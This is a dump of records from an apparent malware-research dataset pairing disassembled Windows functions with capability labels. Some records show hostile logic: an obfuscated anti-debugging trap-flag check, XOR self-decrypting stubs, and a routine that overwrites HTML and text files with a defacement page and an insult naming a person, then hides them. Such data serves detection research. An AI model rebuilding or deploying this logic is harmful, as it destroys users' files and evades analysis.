joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436d2d
Capabilities:
Check for trap flag exception

Disassembly:
cmp esi, 0xf713
je 0x436d37
jne 0x436d37
pushal
xchg esi, edi
xchg edi, esi
call 0x436d41
push ebx
xor ebx, edi
pop ebx
pop edx
mov eax, 0xf9
verr si
push edi
xor edi, esi
pop edi
xchg esi, ecx
xchg ecx, esi
add eax, edx
push esi
lsl esi, edi
pop esi
push eax
lsl eax, edx
pop eax
push esi
push ebx
pop ebx
pop esi
push eax
push ebx
dec ebx
pop ebx
inc edx
dec edx
push eax
lar eax, ebx
pop eax
mov edx, 0
push dword fs:[edx]
fnop
mov dword fs:[edx], esp
cmp esi, 0xf713
je 0x436d88
jne 0x436d88
not ecx
not ecx
push eax
ror eax, cl
pop eax
mov ecx, 0
push ecx
neg ecx
pop ecx
xor ecx, 0xdbf
xor ecx, 0xdbf
div ecx
pushal
sub edx, 0x3bc
popal
push esi
str esi
pop esi
mov ecx, edx
pushfd
not esi
not esi
pushfd
push edi
push 0xc107
pop edi
pop edi
or dword [esp], 0x100
push ecx
inc ecx
pop ecx
popfd
inc edx
popfd
push edx
xor edx, 0x6183
pop edx
cmp edx, ecx
pushal
popal
je 0x436df9
add ecx, edx
sub ecx, edx
push 0x8caf1379
inc edi
dec edi
mov edx, 0xc12ade99
push esi
str esi
pop esi
ret
push edx
push esi
sub edx, esi
add esi, ebx
pop esi
pop edx
push esi
not esi
pop esi
mov ecx, 0
push edi
xor edi, 0x625a
pop edi
pushal
mov esi, ecx
sub ebx, esi
popal
pop dword fs:[ecx]
push esi
push ebx
pop ebx
pop esi
push ebx
push esi
pop esi
pop ebx
pop eax
pushal
add ebx, esi
popal
xor ecx, 0x4c68
xor ecx, 0x4c68
popal
jmp 0x436f53
push ebx
lsl ebx, esi
pop ebx
pushal
sub esi, ecx
mov edi, ecx
popal
push eax
wait
fnstsw ax
pop eax
push ebx
push esi
push ebx
pop ebx
pop esi
pushal
xor esi, 0x218b1edb
popal
pushal
nop
mov edx, 0x4ff6051f
sub ecx, 0x797a67d9
popal
push esi
call fcn.0043713b
pop es
int 6
in al, dx
mov dword [0x5b813d59], eax
shr edx, 1
imul byte [ecx + 0x7b]
rcr dword [eax + 0x43024a37], cl
in al, 0x5a
and edx, dword [edi]
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x438cc5
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x438a14
and edi, esi
add edi, edi
dec esi
call fcn.00438cfd
dec esi
xor dword [ecx], ebx
sub esi, edi
mov esi, 0x35c82de3
add edi, edi
add ecx, 1
add esi, 0xd39be34b
dec edi
dec esi
cmp ecx, eax
jne fcn.00438cc5
and edi, edi
ret
Function at 0x40796e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x4079b2
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x407981
jmp 0x4079b2
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x4079a2
pop esi
pop ebp
ret

Function at 0x408440
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x408475
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40849f
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40849f
test edi, edi
je 0x40846c
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40846c
test edi, edi
je 0x4084a7
mov eax, edi
jmp 0x40846e
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40846e
int3
Function at 0x40a9d1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestDoublyLinkedList.exe_gMozillaPoisonSize], eax
call fcn.00408440
pop ecx
mov ecx, dword [sym.TestDoublyLinkedList.exe_gMozillaPoisonSize]
mov dword [sym.TestDoublyLinkedList.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40aa09
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestDoublyLinkedList.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x401460
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym.___mingw_opendir
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401617
mov dword [esp], str.Unable_to_open_directory.
call sym._puts
jmp 0x401646
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
test eax, eax
jne 0x401617
mov eax, dword [ebp - 0x10]
add eax, 0xc
mov dword [esp + 4], 0x2e
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4015b3
mov dword [esp + 4], str..htm
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x4014fb
mov dword [esp + 4], str..html
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4015b3
mov eax, dword [ebp - 0x10]
add eax, 0xc
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x12c]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x10]
add eax, 0xc
mov dword [esp + 4], 0x40b08f
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xe4
mov dword [esp + 4], 1
mov dword [esp], str.__DOCTYPE_html__n_html_lang_en___n_head__n_t_meta_charset_UTF_8___n_t_meta_name_viewport__content_widthdevice_width__initial_scale1.0___n_t_title_VELJKO_GAY__title__n__head__n_body__n_t_h1_TVOJ_WEBSITE_SADA_MOJ__3__h1__n__body__n__html_
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 2
lea eax, [ebp - 0x12c]
mov dword [esp], eax
call sym._SetFileAttributesA_8
sub esp, 8
test eax, eax
jne 0x401617
call sym._GetLastError_0
mov dword [esp + 8], eax
lea eax, [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_hide_file:__s._Error_code:__d_n
call sym._printf
jmp 0x401617
cmp dword [ebp - 0x14], 0
je 0x401617
mov dword [esp + 4], str..txt
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x401617
mov eax, dword [ebp - 0x10]
add eax, 0xc
mov dword [esp + 4], 0x40b08f
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 1
mov dword [esp], str.VELJKO_GAY
call sym._fwrite
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym.___mingw_readdir
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401498
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym.___mingw_closedir
leave
ret
Function at 0x401e30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401e7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401e74
test esi, esi
je 0x401e74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e50
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402060
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4020b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402188
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4020ee
cmp eax, 4
jne 0x402110
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4020fe
cmp edx, 4
je 0x4020fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402060
Function at 0x438c94
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x438a14
mov edx, edx
call fcn.00438ccf
add ecx, 0xe1774206
push 0xf9e89fd8
pop edx
add ecx, ecx
xor dword [edi], eax
dec edx
and edx, edx
add edx, 0xbee14a1b
add edi, 1
dec edx
cmp edi, esi
jne fcn.00438c94
or edx, edx
or edx, ecx
add edx, edx
ret
Function at 0x40a8e6
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x4191e0
call fcn.0040ac70
mov edi, 0x94
mov eax, edi
call fcn.00412ec0
nop
nop
nop
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x4285f0], ecx
mov eax, dword [esi + 4]
mov dword [0x4285fc], eax
mov edx, dword [esi + 8]
mov dword [0x428600], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x4285f4], esi
je 0x40a946
or esi, 0x8000
mov dword [0x4285f4], esi
shl eax, 8
add eax, edx
xor esi, esi
mov dword [0x4285f8], eax
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40a981
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40a981
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40a999
cmp eax, 0x20b
je 0x40a986
mov dword [ebp - 0x1c], esi
jmp 0x40a9ad
cmp dword [ecx + 0x84], 0xe
jbe 0x40a981
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40a9a7
cmp dword [ecx + 0x74], 0xe
jbe 0x40a981
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00411488
test eax, eax
pop ecx
jne 0x40a9d9
cmp dword [0x42858c], 1
jne 0x40a9c6
call fcn.00412838
push 0x1c
call fcn.004126c1
push 0xff
call fcn.00410787
pop ecx
pop ecx
call fcn.00412e36
mov dword [ebp - 4], esi
call fcn.00410988
test eax, eax
jge 0x40a9f2
push 0x1b
call fcn.0040a8c1
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x429e94], eax
call fcn.00412d14
mov dword [0x428584], eax
call fcn.00412c72
test eax, eax
jge 0x40aa18
push 8
call fcn.0040a8c1
pop ecx
call fcn.00412a3f
test eax, eax
jge 0x40aa29
push 9
call fcn.0040a8c1
pop ecx
push 1
call fcn.004107b7
cmp eax, esi
mov dword [ebp - 0x28], eax
pop ecx
je 0x40aa3f
push eax
call fcn.0040a8c1
pop ecx
lea eax, [ebp - 0x70]
mov dword [ebp - 0x44], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004129e2
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40aa60
movzx eax, word [ebp - 0x40]
jmp 0x40aa63
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call section..text
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40aa81
push edi
call fcn.004108e2
call fcn.00410904
jmp 0x40aab3
lea esp, [ebp - 0x7c]
mov eax, edi
or dword [ebp - 4], 0xffffffff
call fcn.0040acab
ret
Function at 0x410472
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0x429d64]
mov eax, dword [0x41d09c]
push ebx
push edi
mov dword [ebp + 0x398], eax
push esi
jae 0x410638
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x429d80]
mov eax, dword [ebx]
mov edi, ecx
and edi, 0x1f
shl edi, 3
mov al, byte [eax + edi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x410638
xor esi, esi
cmp dword [ebp + 0x3ac], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x7c], esi
jne 0x4104dc
xor eax, eax
jmp 0x41064c
test al, 0x20
je 0x4104ed
push 2
push esi
push esi
push ecx
call fcn.00413365
add esp, 0x10
mov eax, dword [ebx]
add eax, edi
test byte [eax + 4], 0x80
je 0x4105c2
cmp dword [ebp + 0x3ac], esi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], esi
jbe 0x410609
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x41054f
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x410540
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc esi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc esi
cmp esi, 0x400
jl 0x410522
mov esi, eax
lea eax, [ebp - 0x6c]
sub esi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push esi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41058f
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, esi
jl 0x41059b
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor esi, esi
cmp eax, dword [ebp + 0x3ac]
jb 0x410516
jmp 0x41059d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor esi, esi
mov eax, dword [ebp - 0x74]
cmp eax, esi
jne 0x410633
cmp dword [ebp + 0x3a4], esi
je 0x410609
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x4105fb
mov dword [0x4285e8], eax
jmp 0x41063f
push esi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4105ed
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], esi
mov dword [ebp - 0x74], eax
jmp 0x41059d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x41059d
push dword [ebp + 0x3a4]
call fcn.00413306
pop ecx
jmp 0x410649
mov eax, dword [ebx]
test byte [eax + edi + 4], 0x40
je 0x410621
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x4104d5
mov dword [0x4285e4], 0x1c
mov dword [0x4285e8], esi
jmp 0x410649
sub eax, dword [ebp - 0x7c]
jmp 0x41064c
and dword [0x4285e8], 0
mov dword [0x4285e4], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop esi
pop edi
pop ebx
call fcn.00408f52
add ebp, 0x39c
leave
ret
Function at 0x410821
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x428630], esi
push edi
jne 0x410841
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x42862c], esi
mov byte [0x428628], al
jne 0x4108a7
mov ecx, dword [0x429e88]
test ecx, ecx
je 0x410888
mov eax, dword [0x429e84]
sub eax, 4
cmp eax, ecx
jmp 0x410881
mov eax, dword [eax]
test eax, eax
je 0x410873
call eax
mov eax, dword [0x429e84]
sub eax, 4
cmp eax, dword [0x429e88]
mov dword [0x429e84], eax
jae 0x41086b
mov eax, 0x41d044
mov esi, 0x41d04c
cmp eax, esi
mov edi, eax
jae 0x4108a7
mov eax, dword [edi]
test eax, eax
je 0x4108a0
call eax
add edi, 4
cmp edi, esi
jb 0x410898
mov eax, 0x41d050
mov esi, 0x41d058
cmp eax, esi
mov edi, eax
jae 0x4108c6
mov eax, dword [edi]
test eax, eax
je 0x4108bf
call eax
add edi, 4
cmp edi, esi
jb 0x4108b7
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4108e0
push dword [ebp + 8]
mov dword [0x428630], 1
call fcn.00410787
pop ebp
ret
Function at 0x412498
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4124c6
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4124cd
cmp ebx, dword [eax + 4]
jae 0x4124cd
xor eax, eax
jmp 0x4126bd
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4124de
xor eax, eax
inc eax
jmp 0x4126bc
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4124f4
cmp ecx, edx
jae 0x412639
cmp dword [eax + 4], 0
je 0x4124fd
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4124e5
cmp dword [ebp + 8], 0
je 0x41251f
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x412639
cmp eax, esi
jae 0x412639
mov eax, dword [0x428690]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x412544
cmp dword [esi*4 + 0x428698], edi
je 0x41263d
inc esi
cmp esi, eax
jl 0x412532
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4126b9
cmp dword [ebp - 8], 0x1000000
jne 0x4126b9
test byte [ebp - 0xc], 0xcc
je 0x4125c2
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4126b9
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4126b9
cmp word [eax + 0x18], 0x10b
jne 0x4126b9
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4126b9
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x4125c2
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x4125c2
test byte [ecx + 0x27], 0x80
jne 0x412639
push 1
push 0x4286d8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4124d6
mov ecx, dword [0x428690]
test ecx, ecx
mov edx, ecx
jle 0x4125f6
lea eax, [ecx*4 + 0x428694]
cmp dword [eax], edi
je 0x4125f6
dec edx
sub eax, 4
test edx, edx
jg 0x4125ea
test edx, edx
jne 0x412627
push 0xf
pop ebx
cmp ecx, ebx
jg 0x412603
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x41261b
lea eax, [edx*4 + 0x428698]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x412609
cmp ecx, 0x10
jge 0x412627
inc ecx
mov dword [0x428690], ecx
push 0
push 0x4286d8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4124d6
xor eax, eax
jmp 0x4126bc
test esi, esi
jle 0x4124d6
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x4286d8
call ebx
test eax, eax
jne 0x4124d6
cmp dword [esi*4 + 0x428698], edi
je 0x412693
mov eax, dword [0x428690]
lea esi, [eax - 1]
test esi, esi
jl 0x412681
cmp dword [esi*4 + 0x428698], edi
je 0x41267d
dec esi
jns 0x412671
test esi, esi
jge 0x412691
cmp eax, 0x10
jge 0x41268c
inc eax
mov dword [0x428690], eax
lea esi, [eax - 1]
jmp 0x412693
je 0x4126ab
xor ecx, ecx
test esi, esi
jl 0x4126ab
lea eax, [ecx*4 + 0x428698]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x412699
push 0
push 0x4286d8
call ebx
jmp 0x4124d6
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4126c1
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x41d09c]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x41d3a8]
je 0x4126f6
inc eax
cmp eax, 0x13
jb 0x4126e7
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x41d3a8]
jne 0x41281c
mov eax, dword [0x42858c]
cmp eax, 1
je 0x4127f4
cmp eax, edx
jne 0x412726
cmp dword [0x41d0e4], 1
je 0x4127f4
cmp ecx, 0xfc
je 0x41281c
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41275c
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.0040ad50
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.0040a480
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x412790
mov eax, edi
push eax
call fcn.0040a480
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x419224
push edi
call fcn.00413000
add esp, 0x10
push edi
call fcn.0040a480
push dword [esi + 0x41d3ac]
mov ebx, eax
call fcn.0040a480
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00412ec0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.0040ad50
push edi
push ebx
call fcn.0040ad60
push 0x419220
push ebx
call fcn.0040ad60
push dword [esi + 0x41d3ac]
push ebx
call fcn.0040ad60
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00412efd
add esp, 0x2c
jmp 0x41281c
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x41d3ac]
push dword [esi]
call fcn.0040a480
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.00408f52
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x412efd
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4287f4], ebx
push esi
push edi
jne 0x412f7d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x412fb8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x4287f4], eax
je 0x412fb8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x4287f8], eax
call esi
cmp dword [0x4285f0], 2
mov dword [0x4287fc], eax
jne 0x412f7d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x428804], eax
je 0x412f7d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x428800], eax
mov eax, dword [0x428800]
test eax, eax
je 0x412fc2
call eax
test eax, eax
je 0x412fa9
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x428804]
or eax, eax
je 0x412fa9
test byte [ebp - 8], 1
jne 0x412fc2
cmp dword [0x4285fc], 4
jb 0x412fbc
or byte [ebp + 0x12], 0x20
jmp 0x412fe1
xor eax, eax
jmp 0x412ff1
or byte [ebp + 0x12], 4
jmp 0x412fe1
mov eax, dword [0x4287f8]
test eax, eax
je 0x412fe1
call eax
mov ebx, eax
test ebx, ebx
je 0x412fe1
mov eax, dword [0x4287fc]
test eax, eax
je 0x412fe1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4287f4]
pop edi
pop esi
pop ebx
leave
ret